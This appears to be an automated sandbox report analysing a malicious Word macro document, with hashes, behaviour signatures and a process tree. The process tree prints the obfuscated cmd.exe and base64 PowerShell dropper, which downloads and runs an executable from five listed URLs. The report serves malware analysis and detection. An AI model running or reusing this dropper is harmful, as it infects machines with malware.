Analysis

  • max time kernel
    101s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-09-2024 23:15

General

  • Target

    ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc

  • Size

    81KB

  • MD5

    ee9f0612eb8917fdf710ac5cfe9ea64b

  • SHA1

    2668dcdeb2e63dfbc0d2ccbaa6bb9845acd61aa5

  • SHA256

    a1242f39611e428c9ab7135e2eca1202b9810c22851a528bdc29e4a03f2f0c12

  • SHA512

    f859843d0ce47b97c967d1bd24c21e2ce93347fd342743feb71ecfa677d79bff8d748a34e351b1389a96302e74e379622b5b4ee94c399006343816f74fcce8d4

  • SSDEEP

    1536:jptJlmrJpmxlRw99NBP+aEkCxaupItj8SWnQt:Nte2dw99f5upuj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://4surskate.com/vKi

exe.dropper

http://riakom.com/T

exe.dropper

http://zavod-pt.com/T

exe.dropper

http://natco-pharma.com/PRBHaG

exe.dropper

http://bitwaopoznan.pl//gp6

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ee9f0612eb8917fdf710ac5cfe9ea64b_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\SYSTEM32\CMD.exe
      CMD /v:^O^ ^ /R" ^Se^T ^ ^ ^h6^AV==^AAIAACA^g^A^A^IAAC^A^g^AAIAACA^g^AAI^AAC^AgA^A^IAACAgA^AI^AAC^A^9^B^Qf^AsHA^oB^wY^AQH^AhBw^YA^0HA^7A^w^aAE^GAlBgc^AI^G^A^7A^wV^A^YE^Ak^B^A^JAACAtBQZA^Q^H^A^JBQL^A^U^G^Ar^B^wb^AY^H^AuB^QS^As^DA^p^AwVAYE^A^kBA^JAAC^A^s^A^QQ^A^wEAoB^AJAgCA^l^BAbAk^GA^G^BA^Z^AE^G^AvBA^b^A4^GA^3B^wb^AQ^EAuA^g^Z^A8EAB^B^A^J^A^s^HA5BgcA^Q^HA^7^B^QKAQG^A^o^B^AV^A^QCA^g^Ag^bA^k^GA^g^AQQA^wE^A^oB^AJAgC^Ao^B^w^YAE^GAlBgc^A^8^G^A^m^B^wOAcC^A^lBA^e^AUG^Au^A^w^J^AsCApB^gc^A^g^F^A^k^A^w^K^AcC^AcBwJ^AsC^A^j^BQ^aAw^GAiBQ^d^A^AH^A6^A^gd^A4^GAlBA^J^A^0D^AX^B^gR^A^QG^A^kA^wOAcCA^y^AA^M^A^Q^DAnA^AI^A0^DA^gAQ^aA^IH^AYB^A^J^AsD^A^pAw^J^A^A^E^An^A^A^K^A^Q^HA^p^BAb^AAHA^TBgLAcCA^2^AAc^AcGAv^AwLA^wGAwB^g^LA^4GAh^B^g^bA^o^H^AvB^AcA^8^GAhB^wdAQH^ApB^g^Y^A^8C^AvAgO^A^A^HA0^BA^dAgG^AABwR^AE^GA^I^B^gQA^IF^AQ^B^wLA0^GAv^Bw^YA4CA^hB^Q^b^AIHA^hBA^a^AA^H^A^tAwbAM^GA0^BQY^A4GAvA^wL^A^o^D^A^wB^A^dA^QH^Ao^BA^Q^AQFAvAQ^bA8^G^Aj^B^gL^AQ^H^A^w^B^Q^LA^Q^G^Av^B^gdAEGA^6B^wLA8CA^6^AAc^AQ^HA^0^B^Aa^AAE^A^U^B^wL^A0G^AvB^w^YA^4C^At^Bwb^A^sG^A^h^B^Q^aA^IHAvA^wL^Ao^D^Aw^B^Ad^A^QH^Ao^BA^QAk^G^A^L^B^g^dA8C^A^tB^w^bAM^G^A^u^A^QZ^A^Q^H^Ah^Bwa^A^M^HA^y^B^Q^d^AM^HA^0^A^wLA^8CA^6AAc^A^QHA0^BA^aAcC^A9^AAZAg^G^AUB^AJ^AsDA^0^B^gb^AUGAp^BA^bAMEAi^BQ^Z^AcF^AuA^A^dA^U^G^A^O^B^A^I^AQH^AjB^Q^Z^AoG^A^iBw^bA0C^A^3BQZA^4^GA^9^A^g^Z^A^8E^A^B^BAJ^ ^e^-^ lle^hsr^e^wop&& ^F^or /^l %k ^iN ( ^8^81^ -^1^ ^ ^0)^Do ^s^ET u^f^y^d=!u^f^y^d!!^h6^AV:~ %k, 1!& i^f %k l^s^S ^1 C^aL^L %u^f^y^d:~ ^-^8^82% "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JABBAE8AZgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABUAGgAZAA9ACcAaAB0AHQAcAA6AC8ALwA0AHMAdQByAHMAawBhAHQAZQAuAGMAbwBtAC8AdgBLAGkAQABoAHQAdABwADoALwAvAHIAaQBhAGsAbwBtAC4AYwBvAG0ALwBUAEAAaAB0AHQAcAA6AC8ALwB6AGEAdgBvAGQALQBwAHQALgBjAG8AbQAvAFQAQABoAHQAdABwADoALwAvAG4AYQB0AGMAbwAtAHAAaABhAHIAbQBhAC4AYwBvAG0ALwBQAFIAQgBIAGEARwBAAGgAdAB0AHAAOgAvAC8AYgBpAHQAdwBhAG8AcABvAHoAbgBhAG4ALgBwAGwALwAvAGcAcAA2ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABYAHIAaQAgAD0AIAAnADQAMAAyACcAOwAkAGQARgBXAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFgAcgBpACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAEwAQQAgAGkAbgAgACQAVABoAGQAKQB7AHQAcgB5AHsAJABBAE8AZgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABoAEwAQQAsACAAJABkAEYAVwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEYAVwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4404

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDC51E.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2k3ano0m.05i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    8a69dd7f676289a8f3b685282ffa0992

    SHA1

    879d9ec44f5acc4785e6634a8fea8b4bd37f4192

    SHA256

    886090e500ee16633d9f1c5d054299f52c97a27e373fff5f139e7d105b80334d

    SHA512

    d89655c2c31d4f04288ca1f7a33bcc8c1cc057044c73ecd0ab6ae73dd41a396d93f19f8b8111b992e106fcb845bd2002771343e0e7e1d20e516a0bfc770871a6

  • memory/3876-26-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-13-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-5-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-6-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-42-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-10-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-9-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-539-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-12-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-2-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-11-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-8-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-15-0x00007FF9EB7F0000-0x00007FF9EB800000-memory.dmp

    Filesize

    64KB

  • memory/3876-28-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-27-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-1-0x00007FFA2E00D000-0x00007FFA2E00E000-memory.dmp

    Filesize

    4KB

  • memory/3876-7-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-4-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-14-0x00007FF9EB7F0000-0x00007FF9EB800000-memory.dmp

    Filesize

    64KB

  • memory/3876-537-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-54-0x00007FFA2E00D000-0x00007FFA2E00E000-memory.dmp

    Filesize

    4KB

  • memory/3876-55-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-56-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-538-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-60-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-3-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-66-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-67-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/3876-0-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-536-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/3876-535-0x00007FF9EDFF0000-0x00007FF9EE000000-memory.dmp

    Filesize

    64KB

  • memory/4404-59-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB

  • memory/4404-51-0x000001D71EA10000-0x000001D71EA32000-memory.dmp

    Filesize

    136KB

  • memory/4404-43-0x00007FFA2DF70000-0x00007FFA2E165000-memory.dmp

    Filesize

    2.0MB